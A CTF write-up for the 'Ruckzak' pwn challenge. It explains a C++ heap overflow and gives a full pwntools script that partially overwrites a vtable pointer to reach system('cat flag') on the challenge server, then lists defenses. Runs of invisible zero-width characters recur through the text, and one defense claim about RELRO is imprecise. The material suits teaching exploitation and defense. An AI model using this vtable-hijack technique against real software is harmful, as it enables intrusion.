← Back to Writeups
CUSTOMMediumpwn

79 - Рюкзак (Ruckzak)

XESXOR9/2/20264 min read
#pwn#custom#medium#partial_overwrite_pie_bypass#type_confusion_attack#vtable_pointer_overwrite

79 - Рюкзак (Ruckzak)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: partial_overwrite_pie_bypass, type_confusion_attack, vtable_pointer_overwrite

Summary

Task: C++ binary with virtual functions and heap buffer overflow in Edit(). Solution: Overflow from one Toy object to overwrite adjacent Toy vtable pointer with partial overwrite (1 byte) to point to Flag class vtable, triggering system("cat flag") on Display().

79 - Рюкзак (Ruckzak) — DUCKERZ CTF

Description

"Мальчик Витя собирается в поход, подскажи ему какие игрушки ему стоит взять с собой."

("The boy Vitya is going on a hike, tell him which toys he should take with him.")

Files: ruckzak (ELF 64-bit), Dockerfile, docker-compose.yml
Connection: nc tasks.duckerz.ru 30010

Analysis

Binary Protections

RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

Class Hierarchy

The binary is written in C++ with virtual functions: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ClassVtable offsetKey method
Item0x3d70base class
Toy0x3d50Display() - prints name
Flag0x3d30Display() - calls system("cat flag")

Toy Object Structure

Offset 0x00: vtable pointer (8 bytes)
Offset 0x08: name buffer (30 bytes)
Total size: 0x28 (40 bytes)

Program Functionality

  1. Add toy (option 1) - creates a Toy object via operator new (0x28 bytes)
  2. Edit toy (option 2) - calls virtual method Edit()
  3. Show toy (option 3) - calls virtual method Display() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

In the Toy::Edit() function:

cpp
void Toy::Edit() {
    cout << "Please enter new name: ";
    read(0, this->name, 0x80);  // BUG: reads 128 bytes into a 30-byte buffer!
}

Heap buffer overflow - the function reads 0x80 (128) bytes into a buffer of only 30 bytes, allowing overflow into adjacent heap objects.

Heap Layout

After creating two toys:

[Toy 0: vtable_ptr(8) | name_buffer(30) | padding(2)]  <- 40 bytes
[Toy 1: vtable_ptr(8) | name_buffer(30) | padding(2)]  <- 40 bytes

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Offset from name buffer in Toy 0 to vtable pointer in Toy 1 = 40 bytes.

Exploitation Strategy

  1. Create two Toy objects at positions 0 and 1
  2. Edit Toy 0 with an overflowing payload to overwrite Toy 1's vtable pointer
  3. Change Toy 1's vtable from Toy (0x...d50) to Flag (0x...d30) via partial overwrite
  4. Call Show on Toy 1 - this triggers Flag::Display() which executes cat flag

Why Partial Overwrite Works

  • PIE randomizes only the upper bits of addresses
  • Lower 12 bits (page offset) remain constant
  • Flag vtable ends with 0x30, Toy vtable ends with 0x50
  • Overwriting just 1 byte is enough to switch the vtable ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
Toy vtable:  0x5555555??d50
Flag vtable: 0x5555555??d30
                       ^^-- we only change this byte

Solution

python
#!/usr/bin/env python3
from pwn import *

io = remote('tasks.duckerz.ru', 30010)

def add_toy(place, name):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'ruckzak: ', str(place).encode())
    io.sendlineafter(b'name: ', name)

def edit_toy(place, data):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'ruckzak: ', str(place).encode())
    io.sendafter(b'name: ', data)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def show_toy(place):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'ruckzak: ', str(place).encode())

# Create two toys
add_toy(0, b'AAAA')
add_toy(1, b'BBBB')

# Payload: 40 bytes padding + 1 byte to change vtable
# Changes 0x...d50 (Toy) to 0x...d30 (Flag)
payload = b'A' * 40 + b'\x30'
edit_toy(0, payload)

# Trigger Flag::Display() -> system("cat flag")
show_toy(1)

io.interactive()

Output

[+] Opening connection to tasks.duckerz.ru on port 30010: Done
Flag is: DUCKERZ{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Techniques

TechniqueDescription
Heap buffer overflowBuffer overflow in heap to overwrite adjacent structures
Vtable pointer overwriteReplacing the pointer to the virtual function table
Type confusionMaking the program treat an object of one type as another
Partial overwriteOverwriting only the lower bytes to bypass ASLR/PIE

Defense

To prevent such attacks:

  1. Check buffer sizes - read(0, buf, sizeof(buf))
  2. Use Full RELRO - protect GOT/vtable from overwriting
  3. Stack canaries - although this is heap overflow, it's a general practice
  4. CFI (Control Flow Integrity) - protection against vtable hijacking
  5. ASAN in development - heap overflow detection ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References